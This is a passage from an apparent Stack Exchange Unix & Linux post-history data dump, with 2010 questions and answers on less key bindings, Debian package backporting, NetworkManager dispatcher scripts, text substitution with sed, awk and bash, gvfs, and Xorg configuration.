&gt;qdbus.list&#xD;&#xA;&#xD;&#xA;Another way to explore the dbus tree is `qdbusviewer` in the Qt development tools. There is also a Python qt-dbus interface as part of [PyQt](http://www.riverbankcomputing.co.uk/).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;To make a shell react to external events, the best you can reasonably do is make it check something before displaying a prompt. Bash runs `$PROMPT_COMMAND` before displaying a prompt, and zsh executes the `precmd` function. So you can look up the current KDE activity and do something if it's changed from the last time you looked.&#xD;&#xA;" />
  <row Id="7717" PostHistoryTypeId="2" PostId="3614" RevisionGUID="f4858db7-f547-4a40-9ef2-382a652123b6" CreationDate="2010-10-29T19:18:31.547" UserId="1010" Text="I need to work on a Solaris server over ssh from my Ubuntu (Lucid) laptop. I got Home/End Insert/Delete Page Up/Down working in csh and bash using bindkey and ~/.inputrc, respectively. But I can't figure out how to get them working in less. How can I figure out what the problem is, and fix it?" />
  <row Id="7718" PostHistoryTypeId="1" PostId="3614" RevisionGUID="f4858db7-f547-4a40-9ef2-382a652123b6" CreationDate="2010-10-29T19:18:31.547" UserId="1010" Text="Why don't Page U/Down, Home/End work in less on Solaris over ssh from Ubuntu?" />
  <row Id="7719" PostHistoryTypeId="3" PostId="3614" RevisionGUID="f4858db7-f547-4a40-9ef2-382a652123b6" CreationDate="2010-10-29T19:18:31.547" UserId="1010" Text="ésshàéterminalàéconfigurationàékeyboardàépagerà" />
  <row Id="7720" PostHistoryTypeId="2" PostId="3615" RevisionGUID="f6f2dda5-e788-41d1-9b64-132e9c62a378" CreationDate="2010-10-29T19:29:56.877" UserId="1010" Text="I found the answer here: http://www.linuxselfhelp.com/HOWTO/Config-HOWTO/config.html&#xD;&#xA;&#xD;&#xA;Look in section &quot;4.4. less (1)&quot;." />
  <row Id="7721" PostHistoryTypeId="2" PostId="3616" RevisionGUID="43a1b571-23f3-4a43-a4f3-b1f3945effd2" CreationDate="2010-10-29T19:36:41.090" UserId="885" Text="There is a recent enough version of [xdebug in squeeze](http://packages.debian.org/squeeze/php5-xdebug) (the next release of Debian, which will be ready any month now). It doesn't have an official backport to stable (otherwise the backport would be listed on the [xdebug package search page](http://packages.debian.org/xdebug)). The binary package depends on a recent version of PHP, but you should be able to compile the [source package](http://packages.debian.org/source/squeeze/xdebug) on lenny, since its build dependencies are satisfiable on lenny. Here's a recipe for building the package:&#xD;&#xA;&#xD;&#xA;1. Download the three files (`.dsc`, `.orig.tar.gz`, and `.debian.tar.gz`). Since this is a punctual need, just do it manually.&#xD;&#xA;2. Install the build dependencies (here `debhelper` and `php5-dev`) with `apt-get` or `aptitude`. Also install the basic set of development packages; the `build-essential` package will pull them all. Also install `fakeroot`.&#xD;&#xA;3. Unpack the source: `dpkg-source -x xdebug_2.1.0-1.dsc` and change to the source directory: `cd xdebug-2.1.0`.&#xD;&#xA;4. (You can skip this step if you don't make any change in the source package.)  &#xD;&#xA;   Edit the `debian/changelog` file to add a new changelog entry. This is easily done in Emacs:&#xD;&#xA;    * make sure the [`dpkg-dev-el`](http://packages.debian.org/dpkg-dev-el) package is installed;&#xD;&#xA;    * open `debian/changelog` in Emacs;&#xD;&#xA;    * use `C-c C-a` to add an entry;&#xD;&#xA;    * choose a new version number (here `2.1.0~user394+1` would be a reasonable choice, following the pattern used by the official backports);&#xD;&#xA;    * write a log entry (e.g., `backport to lenny`, describe the changes you made);&#xD;&#xA;    * use `C-c C-c` to finalize the entry.&#xD;&#xA;5. Compile the package: `dpkg-buildpackage -rfakeroot -us -uc`  &#xD;&#xA;   If you have a PGP/GPG key, don't pass `-us -uc` and enter your passphrase if prompted to cryptographically sign the packages.&#xD;&#xA;6. &lt;strike&gt;Profit&lt;/strike&gt; Install the binary package.&#xD;&#xA;&#xD;&#xA;To summarize the steps:&#xD;&#xA;&#xD;&#xA;    wget http://ftp.de.debian.org/debian/pool/main/x/xdebug/xdebug_2.1.0{.orig.tar.gz,-1.{dsc,debian.tar.gz}}&#xD;&#xA;    sudo aptitude install build-essential fakeroot debhelper php5-dev&#xD;&#xA;    dpkg-source -x xdebug_2.1.0-1.dsc&#xD;&#xA;    cd xdebug-2.1.0&#xD;&#xA;    # patch as necessary&#xD;&#xA;    emacs debian/changelog # not necessary if unpatched&#xD;&#xA;    dpkg-buildpackage -rfakeroot -us -uc&#xD;&#xA;    dpkg -i ../php5-xdebug_2.1.0_*.deb&#xD;&#xA;" />
  <row Id="7722" PostHistoryTypeId="2" PostId="3617" RevisionGUID="1502f15c-d08c-43d2-9d5b-b1613c16e3e2" CreationDate="2010-10-29T20:25:44.330" UserId="1039" Text="I want to have `radvd` (the IPv6 router advertisement daemon) run on startup on Fedora 13. However, the network interface that it will use must be up, otherwise the daemon won't start.&#xD;&#xA;&#xD;&#xA;If I run the daemon manually when the system is running everything works fine.&#xD;&#xA;&#xD;&#xA;However, I can't figure out how to tell the Fedora 13 init system &quot;run radvd on boot but **only after** wlan0 is up&quot;. wlan0 is managed by NetworkManager and it would be nice if I could keep it that way.&#xD;&#xA;&#xD;&#xA;I tried enabling `radvd` on boot using the GUI `system-config-services` tool; then `radvd` tries to start in the boot process (after NetworkManager) but fails because wlan0 does not exist. I also tried changing `ONBOOT=no` to `ONBOOT=yes` in `/etc/sysconfig/networking/devices/ifcfg-wlan0` but that also didn't help (I don't understand exactly how the configuration in `/etc/sysconfig/networking/` interacts with NetworkManager).&#xD;&#xA;&#xD;&#xA;It seems to me that this kind of thing should be straightforward with Upstart but I can't find an Upstart event that tells me &quot;a network interface is up&quot;.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7723" PostHistoryTypeId="1" PostId="3617" RevisionGUID="1502f15c-d08c-43d2-9d5b-b1613c16e3e2" CreationDate="2010-10-29T20:25:44.330" UserId="1039" Text="Run daemon on startup in Fedora 13 after wireless interface is up" />
  <row Id="7724" PostHistoryTypeId="3" PostId="3617" RevisionGUID="1502f15c-d08c-43d2-9d5b-b1613c16e3e2" CreationDate="2010-10-29T20:25:44.330" UserId="1039" Text="éfedoraàéinitöscriptà" />
  <row Id="7725" PostHistoryTypeId="5" PostId="3615" RevisionGUID="c95f9138-dabf-40b5-b124-2b5e7186120e" CreationDate="2010-10-29T20:29:51.990" UserId="1327" Comment="pulled the answer from source" Text="I found the answer [here][1], in section **4.4. less (1)**.&#xD;&#xA;&#xD;&#xA;Create the file **/usr/bin/lesspipe.sh**:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    # This is a preprocessor for 'less'.  It is used when this environment&#xD;&#xA;    # variable is set:   LESSOPEN=&quot;|lesspipe.sh %s&quot;&#xD;&#xA;    &#xD;&#xA;    lesspipe () {&#xD;&#xA;      case &quot;$1&quot; in&#xD;&#xA;      *.tar) tar tf $1 2&gt;/dev/null ;; # View contents of .tar and .tgz files&#xD;&#xA;      *.tgz|*.tar.gz|*.tar.Z|*.tar.z) tar ztf $1 2&gt;/dev/null ;;&#xD;&#xA;      *.Z|*.z|*.gz) gzip -dc $1  2&gt;/dev/null ;; # View compressed files correctly&#xD;&#xA;      *.tar.bz2) bzip2 -dc $1 | tar tf - ;;&#xD;&#xA;      *.bz2) bzip2 -dc $1  2&gt;/dev/null ;;&#xD;&#xA;      *.zip) unzip -l $1 2&gt;/dev/null ;; # View archives&#xD;&#xA;      *.arj) unarj -l $1 2&gt;/dev/null ;;&#xD;&#xA;      *.rpm) rpm -qpil $1 2&gt;/dev/null ;;&#xD;&#xA;      *.cpio) cpio --list -F $1 2&gt;/dev/null ;;&#xD;&#xA;      *.1|*.2|*.3|*.4|*.5|*.6|*.7|*.8|*.9|*.n|*.l|*.man) &#xD;&#xA;        file $1 | grep roff &gt; /dev/null&#xD;&#xA;        if [ $? = 0 ]; then&#xD;&#xA;          groff -Tascii -mandoc $1&#xD;&#xA;        fi ;;&#xD;&#xA;      *) file $1 | grep &quot;te[sx]t&quot; &gt; /dev/null ;&#xD;&#xA;        if [ $? = 1 ] ; then # it's not some kind of text&#xD;&#xA;          strings $1&#xD;&#xA;        fi ;;&#xD;&#xA;      esac&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # treat link targets, not links themselves&#xD;&#xA;    file $1 | grep symbolic &gt; /dev/null&#xD;&#xA;    if [ $? = 0 ]; then&#xD;&#xA;      TARGET=$(file $1 | awk '{print $NF}')&#xD;&#xA;      lesspipe $TARGET&#xD;&#xA;    else&#xD;&#xA;      lesspipe $1&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And ... &#xD;&#xA;&gt; then make it executable with `chmod 755 /usr/bin/lesspipe.sh`. &#xD;&#xA;&#xD;&#xA;And add the following to **/etc/profile**:&#xD;&#xA;&#xD;&#xA;    export LESSOPEN=&quot;|lesspipe.sh %s&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: http://www.linuxselfhelp.com/HOWTO/Config-HOWTO/config.html" />
  <row Id="7726" PostHistoryTypeId="2" PostId="3618" RevisionGUID="bee0b7c3-5e19-4e44-82e1-d405c78732a8" CreationDate="2010-10-29T20:38:14.257" UserId="1571" Text="I'm setting up a laptop for a friend and I'm going to put linux on it in a virtual machine and I want to make it as seamless as possible. I've mounted the \Users\Username directory in a VM before and that's not the hard part. What the issue is though is that Windows uses NTFS links from say My Documents to \Documents which linux can't see (or at least doesn't display).&#xD;&#xA;&#xD;&#xA;My question is what would be the best way to share a user's /home directory with their \Users directory? Is there an easy way to remove all those links and force windows to not use links to their \Users\whatever directories?&#xD;&#xA;&#xD;&#xA;Or my second thought would be to just mount it as a samba share and let the samba file system take care of all that stuff. Is that a better solution?&#xD;&#xA;&#xD;&#xA;The goal here is that I want to make using the linux machine as seamless and painless as possible. " />
  <row Id="7727" PostHistoryTypeId="1" PostId="3618" RevisionGUID="bee0b7c3-5e19-4e44-82e1-d405c78732a8" CreationDate="2010-10-29T20:38:14.257" UserId="1571" Text="Mount windows Users directory as /home in linux virtual machine" />
  <row Id="7728" PostHistoryTypeId="3" PostId="3618" RevisionGUID="bee0b7c3-5e19-4e44-82e1-d405c78732a8" CreationDate="2010-10-29T20:38:14.257" UserId="1571" Text="éfilesystemsàémountàéwindowsàévirtualömachineà" />
  <row Id="7729" PostHistoryTypeId="2" PostId="3619" RevisionGUID="d5dc854c-254e-4e44-a826-5bb305371eb4" CreationDate="2010-10-29T21:03:21.747" UserId="885" Text="The most straightforward answer is [sed](http://www.opengroup.org/onlinepubs/009695399/utilities/sed.html)'s `s` command. You need to convert the regexp syntax to [Basic regular expressions](http://www.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap09.html#tag_09_03), and the substitution will be applied successively on each line. You can use `\1` through `\9` to refer to parenthesized groups in the original string. Add the `g` modifier to replace all occurrences; otherwise only the first occurrence is replaced.&#xD;&#xA;&#xD;&#xA;    sed -e 's/basic regexp/replacement string/g'&#xD;&#xA;&#xD;&#xA;A more flexible utility is [awk](http://www.opengroup.org/onlinepubs/009695399/utilities/awk.html). It too processes its input line by line by default, but you can change the record separator with `-vRS=…` (standard awk wants a single character, or an empty value to mean two or more newlines; Gawk (the GNU version) accepts a regular expression). The `sub` function performs a single replacement, and `gsub` replaces all occurences. The replacement string is interpreted literally except for `\` and `&amp;`; if you want to refer to parenthesized groups, you can use the `match` and `subtring` functions.&#xD;&#xA;&#xD;&#xA;    awk '{gsub(/regexp/, &quot;replacement string&quot;)}'&#xD;&#xA;&#xD;&#xA;Bash has built-in support for regexp matching: `[[ text =~ regexp ]]`. You can construct a replacement text using matched substrings stored in the `BASH_REMATCH` array. Use `read` or `cat` to obtain the input and `printf` to emit the output. The following pseudo-code performs multiple replacements (warning, untested; the code is supposed to perform multiple replacement from left to right as is usual, I hope I got it right).&#xD;&#xA;&#xD;&#xA;    # The end marker must not have a prefix that is a suffix of a match of the regexp,&#xD;&#xA;    # and must not start or end with a newline&#xD;&#xA;    end_marker='EOF'&#xD;&#xA;    text=$(cat; echo &quot;$end_marker&quot;)&#xD;&#xA;    while [[ $text =~ regexp(.*)$ ]]; then&#xD;&#xA;        printf %s%s &quot;${text%&quot;$BASH_REMATCH[0]&quot;}&quot; &quot;replacement string&quot;&#xD;&#xA;        text=$BASH_REMATCH[$#BASH_REMATCH]&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;    printf %s &quot;${text%&quot;$end_marker&quot;}&quot;&#xD;&#xA;&#xD;&#xA;(A few words of explanation: the end marker is to avoid trailing newlines being stripped by the command substitution. `${text%&quot;$BASH_REMATCH[0]&quot;}` extracts the part of the text that came before the match. Note that we can't use `^(.*)` at the beginning of the regexp or we'd get the last match instead of the first. After the match, we iterate over the suffix. Finally we print the unmatched leftover, minus the end marker.)&#xD;&#xA;&#xD;&#xA;If you're satisfied with wildcard matching and limited replacement text abilities, bash also has `${variable/pattern/replacement}`. Double the first slash to replace all occurrences. Patterns do have the power of regular expressions (but with an unusual syntax) if the `extglob` option is set.&#xD;&#xA;" />
  <row Id="7730" PostHistoryTypeId="2" PostId="3620" RevisionGUID="76c1b893-8aa0-4909-8f11-2d419c982366" CreationDate="2010-10-29T21:34:09.127" UserId="2311" Text="I am not too familiar with Fedora, but I know network manager does have a built-in system to run scripts after an interface comes up.  On Arch linux the scripts are located at &#xD;&#xA;&#xD;&#xA; `/etc/NetworkManager/dispatcher.d `&#xD;&#xA;&#xD;&#xA;You will need to create a script to say when the interface is up, do this, when the interface is down do this.  In your case, start raddvd when the interface is up, and stop it when the interface is down.  Arch Linux's wiki has a bit more info and an example script that should get your going just fine.&#xD;&#xA;&#xD;&#xA;https://wiki.archlinux.org/index.php/NetworkManager#Network_Services_with_NetworkManager_Dispatcher" />
  <row Id="7731" PostHistoryTypeId="2" PostId="3621" RevisionGUID="fb87740d-0873-47ab-8ac9-6d32f8e1dd1b" CreationDate="2010-10-29T22:17:58.813" UserId="885" Text="On Ubuntu (you may have to adapt this for Fedora if it doesn't have the same chain):&#xD;&#xA;&#xD;&#xA;* NetworkManager runs scripts in `/etc/NetworkManager/dispatcher.d` when an interface comes up or down.  &#xD;&#xA;  In particular, `/etc/NetworkManager/dispatcher.d/01ifupdown` runs the ifupdown scripts.&#xD;&#xA;* Ifupdown runs scripts in `/etc/network/if-up.d` and `/etc/network/if-down.d`.  &#xD;&#xA;  In particular, `/etc/network/if-up.d/upstart` and `/etc/network/if-down.d/upstart` trigger Upstart events. Here's how you would catch these events in a service description:&#xD;&#xA;&#xD;&#xA;        start on net-device-up IFACE=wlan0&#xD;&#xA;        stop on net-device-down IFACE=wlan0&#xD;&#xA;" />
  <row Id="7732" PostHistoryTypeId="2" PostId="3622" RevisionGUID="6665d5b1-cf09-4d0b-8a69-b5bec945bb75" CreationDate="2010-10-29T22:37:22.300" UserId="885" Text="`.gvfs` directories are mount points (sometimes). You may want to use the `one_fs` option in your rsnapshot configuration (so that it passes `--one-file-system` to rsync).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;[**Gvfs**](http://en.wikipedia.org/wiki/Gvfs) is a library-level filesystem implementation, implemented in libraries written by the Gnome project (in particular `libgvfscommon`). Applications linked with this library can use a filesystem API to access ftp, sftp, webdav, samba, etc.&#xD;&#xA;&#xD;&#xA;Gvfs is like [**FUSE**](http://en.wikipedia.org/wiki/Filesystem_in_Userspace) in that it allows filesystems to be implemented in userland code. FUSE requires the one-time cooperation of the kernel (so it's only available on supported versions of supported OSes), but then can be used by any application since it plugs into the normal filesystem API. Gvfs can only be used through Gnome libraries, but doesn't need any special collaboration from the kernel so works on more operating systems.&#xD;&#xA;&#xD;&#xA;A quick experiment on Ubuntu 10.04 shows that while an application is accessing a Gvfs filesystem, `~/.gvfs` is a mount point for a **`gvfs-fuse-daemon`** filesystem. This filesystem allows any application to access Gvfs filesystems, without needing to link to Gnome libraries. It is a FUSE filesystem whose implementation redirects the ordinary filesystem calls to Gvfs calls.&#xD;&#xA;&#xD;&#xA;The `gvfs-fuse-daemon` filesystem does not allow any access to the root user, only to the user running the application (it's up to each individual filesystem to manage the root user's permissions; a classic case where root doesn't have every power is NFS, where accesses from root are typically mapped to nobody).&#xD;&#xA;" />
  <row Id="7733" PostHistoryTypeId="2" PostId="3623" RevisionGUID="44178349-4cd7-4cfc-9b59-e023f43c536e" CreationDate="2010-10-29T23:48:32.710" UserId="29" Text="when installing grub(2) to mdadm devices are you supposed to install it to `/dev/sdX` or `/dev/mdX`?" />
  <row Id="7734" PostHistoryTypeId="1" PostId="3623" RevisionGUID="44178349-4cd7-4cfc-9b59-e023f43c536e" CreationDate="2010-10-29T23:48:32.710" UserId="29" Text="installing grub 2 on mdadm, which device?" />
  <row Id="7735" PostHistoryTypeId="3" PostId="3623" RevisionGUID="44178349-4cd7-4cfc-9b59-e023f43c536e" CreationDate="2010-10-29T23:48:32.710" UserId="29" Text="égrubàésoftwareöraidàémdadmàéraidàégrub2à" />
  <row Id="7736" PostHistoryTypeId="2" PostId="3624" RevisionGUID="63e950ef-34af-41ab-a29f-ef859fdeec4b" CreationDate="2010-10-30T04:22:29.687" UserId="1207" Text="**NOTE:** In the second section, I included a &quot;wrong path&quot; that I went down because I think it is illustrative. If you are just looking for the commands to run, look towards the bottom of that section.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;One way to think about this problem is to break this into three parts:&#xD;&#xA;&#xD;&#xA;- How do I get a list of packages not installed as dependencies?&#xD;&#xA;- How do I get a list of the packages installed by default?&#xD;&#xA;- How can I get the difference between these two lists?&#xD;&#xA;&#xD;&#xA;##How do I get a list of packages not installed as dependencies?&#xD;&#xA;&#xD;&#xA;The following command seems to work on my system:&#xD;&#xA;&#xD;&#xA;    $ aptitude search '~i !~M' | cut -d&quot; &quot; -f4 | sort | uniq &gt; currentlyinstalled.txt&#xD;&#xA;&#xD;&#xA;Similar approaches can be found in the links that Gilles posted as a comment to the question.  Some sources claim that this will only work if you used aptitude to install the packages; however, I almost never use aptitude to install packages and found that this still worked.  The `| sort | uniq` sorts the file and removes duplicates.  This makes the final step much easier. &#xD;&#xA;&#xD;&#xA;## How do I get a list of the packages installed by default?&#xD;&#xA;&#xD;&#xA;This is a bit trickier.  I initially thought that a good approximation would be all of the packages that are dependencies of the meta-packages ubuntu-minimal, ubuntu-standard, ubuntu-desktop, and the various linux kernel related packages.  A few results on google searches seemed to use this approach.  To get a list of these dependencies, I did the following:&#xD;&#xA;&#xD;&#xA;    $ apt-cache depends ubuntu-desktop ubuntu-minimal ubuntu-standard linux-* | awk '/Depends:/ {print $2}' | sort | uniq &#xD;&#xA;&#xD;&#xA;However, this seems to leave out some packages that I know had to come by default.  I still believe that this method should work if one constructs the right list of metapackages.&#xD;&#xA;&#xD;&#xA;However, it seems that Ubuntu mirrors contain a &quot;manifest&quot; file that contains all of the packages in the default install.  The manifest for my system is here:&#xD;&#xA;&#xD;&#xA;http://mirror.pnl.gov/releases/maverick/ubuntu-10.10-desktop-amd64.manifest&#xD;&#xA;&#xD;&#xA;If you remove search through this page:&#xD;&#xA;&#xD;&#xA;http://mirror.pnl.gov/releases/maverick/&#xD;&#xA;&#xD;&#xA;You should be able to find the &quot;.manifest&quot; file that corresponds to the version and architecture you are using.  To extract just the package names I did this:&#xD;&#xA;&#xD;&#xA;    wget -qO - http://mirror.pnl.gov/releases/maverick/ubuntu-10.10-desktop-amd64.manifest | cut -d&quot; &quot; -f1 | sort | uniq &gt; defaultinstalled.txt&#xD;&#xA;&#xD;&#xA;The list was likely already sorted and unique, but I wanted to be sure it was properly sorted to make the next step easier. I then put the output in `defaultinstalled.txt`.&#xD;&#xA;&#xD;&#xA;## How can I get the difference between these two lists?&#xD;&#xA;&#xD;&#xA;This is the easiest part since most Unix-like systems have many tools to do this.  The `comm` tool is one of many ways to do this:&#xD;&#xA;&#xD;&#xA;    comm -23 currentlyinstalled.txt defaultinstalled.txt&#xD;&#xA;&#xD;&#xA;This should print the list of lines that are unique to the first file.  Thus, it should print a list of installed packages not in the default install.  &#xD;&#xA;" />
  <row Id="7737" PostHistoryTypeId="2" PostId="3625" RevisionGUID="b4be0ad6-2a7f-4747-8399-29007277306c" CreationDate="2010-10-30T04:30:00.217" UserId="2487" Text="you can use tools like `sed` and `awk`, but in my opinion they are very antiquated and only useful for narrowly defined tasks. &#xD;&#xA;&#xD;&#xA;a better bet is to redirect STDIN to a perl one-liner or script. perl's regex support is so good that most other languages now support some compatibility with them. there are even `a2p` and `s2p` tools to transform sed and awk directly into perl. using perl allows you to use the entirety of CPAN to help you solve your problems. &#xD;&#xA;&#xD;&#xA;and if you don't like perl, you can use python in a similar capacity." />
  <row Id="7738" PostHistoryTypeId="5" PostId="3624" RevisionGUID="9bd879cb-5309-4912-a013-12fc6a91add0" CreationDate="2010-10-30T04:37:42.903" UserId="1207" Comment="added 32 characters in body" Text="**NOTE:** In the second section, I included a &quot;wrong path&quot; that I went down because I think it is illustrative. If you are just looking for the commands to run, look towards the bottom of that section.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;One way to think about this problem is to break this into three parts:&#xD;&#xA;&#xD;&#xA;- How do I get a list of packages not installed as dependencies?&#xD;&#xA;- How do I get a list of the packages installed by default?&#xD;&#xA;- How can I get the difference between these two lists?&#xD;&#xA;&#xD;&#xA;##How do I get a list of packages not installed as dependencies?&#xD;&#xA;&#xD;&#xA;The following command seems to work on my system:&#xD;&#xA;&#xD;&#xA;    $ aptitude search '~i !~M' | cut -d&quot; &quot; -f4 | sort | uniq &gt; currentlyinstalled.txt&#xD;&#xA;&#xD;&#xA;Similar approaches can be found in the links that Gilles posted as a comment to the question.  Some sources claim that this will only work if you used aptitude to install the packages; however, I almost never use aptitude to install packages and found that this still worked.  The `| sort | uniq` sorts the file and removes duplicates.  This makes the final step much easier. &#xD;&#xA;&#xD;&#xA;## How do I get a list of the packages installed by default?&#xD;&#xA;&#xD;&#xA;This is a bit trickier.  I initially thought that a good approximation would be all of the packages that are dependencies of the meta-packages ubuntu-minimal, ubuntu-standard, ubuntu-desktop, and the various linux kernel related packages.  A few results on google searches seemed to use this approach.  To get a list of these dependencies, I did the following:&#xD;&#xA;&#xD;&#xA;    $ apt-cache depends ubuntu-desktop ubuntu-minimal ubuntu-standard linux-* | awk '/Depends:/ {print $2}' | sort | uniq &#xD;&#xA;&#xD;&#xA;However, this seems to leave out some packages that I know had to come by default.  I still believe that this method should work if one constructs the right list of metapackages.&#xD;&#xA;&#xD;&#xA;However, it seems that Ubuntu mirrors contain a &quot;manifest&quot; file that contains all of the packages in the default install.  The manifest for my system is here:&#xD;&#xA;&#xD;&#xA;http://mirror.pnl.gov/releases/maverick/ubuntu-10.10-desktop-amd64.manifest&#xD;&#xA;&#xD;&#xA;If you search through this page(or the page of a mirror closer to you):&#xD;&#xA;&#xD;&#xA;http://mirror.pnl.gov/releases/maverick/&#xD;&#xA;&#xD;&#xA;You should be able to find the &quot;.manifest&quot; file that corresponds to the version and architecture you are using.  To extract just the package names I did this:&#xD;&#xA;&#xD;&#xA;    wget -qO - http://mirror.pnl.gov/releases/maverick/ubuntu-10.10-desktop-amd64.manifest | cut -d&quot; &quot; -f1 | sort | uniq &gt; defaultinstalled.txt&#xD;&#xA;&#xD;&#xA;The list was likely already sorted and unique, but I wanted to be sure it was properly sorted to make the next step easier. I then put the output in `defaultinstalled.txt`.&#xD;&#xA;&#xD;&#xA;## How can I get the difference between these two lists?&#xD;&#xA;&#xD;&#xA;This is the easiest part since most Unix-like systems have many tools to do this.  The `comm` tool is one of many ways to do this:&#xD;&#xA;&#xD;&#xA;    comm -23 currentlyinstalled.txt defaultinstalled.txt&#xD;&#xA;&#xD;&#xA;This should print the list of lines that are unique to the first file.  Thus, it should print a list of installed packages not in the default install.  &#xD;&#xA;" />
  <row Id="7739" PostHistoryTypeId="2" PostId="3626" RevisionGUID="ac95cd22-de13-4c97-bc58-e9a13a3d40fe" CreationDate="2010-10-30T05:07:03.927" UserId="1779" Text="&lt;pre&gt;&#xD;&#xA;$ man &lt;a href=&quot;http://manpages.debian.net/cgi-bin/man.cgi?query=xargs&amp;amp;sektion=1&quot;&gt;xargs&lt;/a&gt;&#xD;&#xA;...&#xD;&#xA;       --arg-file=file&#xD;&#xA;       -a file&#xD;&#xA;              Read items from file instead of standard input.  If you use this&#xD;&#xA;              option,  stdin  remains unchanged when commands are run.  Other-&#xD;&#xA;              wise, stdin is redirected from /dev/null.&#xD;&#xA;...&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;You may want to set `--delimiter=`/`-d` to `'\n'` as well.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;On the other hand, if you are just trying to turn each line in the file into a URL,&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ &lt;a href=&quot;http://manpages.debian.net/cgi-bin/man.cgi?query=sed&amp;amp;sektion=1&quot;&gt;sed&lt;/a&gt; -e 's#.*#http://example.com/persons/&amp;.tar#' file&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;will do, and if you want to fetch all of them, just pipe that into &lt;code&gt;| &lt;a href=&quot;http://manpages.debian.net/cgi-bin/man.cgi?query=wget&amp;amp;sektion=1&quot;&gt;wget&lt;/a&gt; -i&lt;/code&gt;." />
  <row Id="7740" PostHistoryTypeId="2" PostId="3627" RevisionGUID="3acc8007-b1a4-48f1-8663-f92ded3fd1a4" CreationDate="2010-10-30T07:08:11.137" UserId="2487" Text="another way with shell looping:&#xD;&#xA;&#xD;&#xA;    for i in `cat file`; do curl -I http://foo.com/$i; done&#xD;&#xA;&#xD;&#xA;you can also run each iteration in the background by appending `&amp;` prior to the last semicolon - for very large downloads this might be handy&#xD;&#xA;" />
  <row Id="7741" PostHistoryTypeId="6" PostId="3617" RevisionGUID="fd600ee1-8cb6-4f3a-8c29-1e1d87978b4d" CreationDate="2010-10-30T08:54:13.773" UserId="1039" Comment="Added networking tag" Text="énetworkingàéfedoraàéinitöscriptà" />
  <row Id="7742" PostHistoryTypeId="2" PostId="3628" RevisionGUID="ecb626df-5899-4553-bd45-668e953e9375" CreationDate="2010-10-30T09:47:09.530" UserId="2489" Text="Gentoo Linux, Awesome window manager, open-source ATI driver.&#xD;&#xA;&#xD;&#xA;Here's my xorg.conf:&#xD;&#xA;&#xD;&#xA;    Section &quot;Files&quot;&#xD;&#xA;            #ModulePath   &quot;/usr/lib64/xorg/modules&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/misc/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/TTF/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/OTF&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/Type1/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/100dpi/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/75dpi/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/terminus&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;ServerLayout&quot;&#xD;&#xA;      Identifier     &quot;My X Server&quot;&#xD;&#xA;      Screen 0 &quot;Screen0&quot; 0 0&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;            #DisplaySize      510   290     # mm&#xD;&#xA;            Identifier   &quot;LeftMonitor&quot;&#xD;&#xA;            VendorName   &quot;DEL&quot;&#xD;&#xA;            ModelName    &quot;DELL U2311H&quot;&#xD;&#xA;            HorizSync    30.0 - 83.0&#xD;&#xA;            VertRefresh  56.0 - 76.0&#xD;&#xA;            Option      &quot;DPMS&quot;&#xD;&#xA;            Option         &quot;PreferredMode&quot;  &quot;1920x1080&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;            #DisplaySize      380   300     # mm&#xD;&#xA;            Identifier   &quot;RightMonitor&quot;&#xD;&#xA;            VendorName   &quot;SAM&quot;&#xD;&#xA;            ModelName    &quot;SyncMaster&quot;&#xD;&#xA;            HorizSync    30.0 - 81.0&#xD;&#xA;            VertRefresh  56.0 - 75.0&#xD;&#xA;            Option      &quot;DPMS&quot;&#xD;&#xA;            Option         &quot;PreferredMode&quot;  &quot;1280x1024&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Device&quot;&#xD;&#xA;      Identifier  &quot;Card0&quot;&#xD;&#xA;      Driver      &quot;radeon&quot;&#xD;&#xA;      VendorName  &quot;ATI Technologies Inc&quot;&#xD;&#xA;      BoardName   &quot;Mobilitiy Radeon HD 3600 Series&quot;&#xD;&#xA;      BusID       &quot;PCI:4:0:0&quot;&#xD;&#xA;      #Option &quot;AccelMethod&quot; &quot;EXA&quot;&#xD;&#xA;      Option         &quot;monitor-HDMI-0&quot; &quot;RightMonitor&quot;&#xD;&#xA;      Option         &quot;monitor-DVI-0&quot; &quot;LeftMonitor&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Screen&quot;&#xD;&#xA;      Identifier   &quot;Screen0&quot;&#xD;&#xA;      Device       &quot;Card0&quot;&#xD;&#xA;      Monitor      &quot;LeftMonitor&quot;&#xD;&#xA;      DefaultDepth 24&#xD;&#xA;      SubSection &quot;Display&quot;&#xD;&#xA;            Depth     24&#xD;&#xA;            Modes           &quot;1920x1080&quot; &quot;1280x1024&quot;&#xD;&#xA;            Virtual     3200 1080&#xD;&#xA;      EndSubSection&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;And to enable the monitor on the right side I do `xrandr --output HDMI-0 --mode 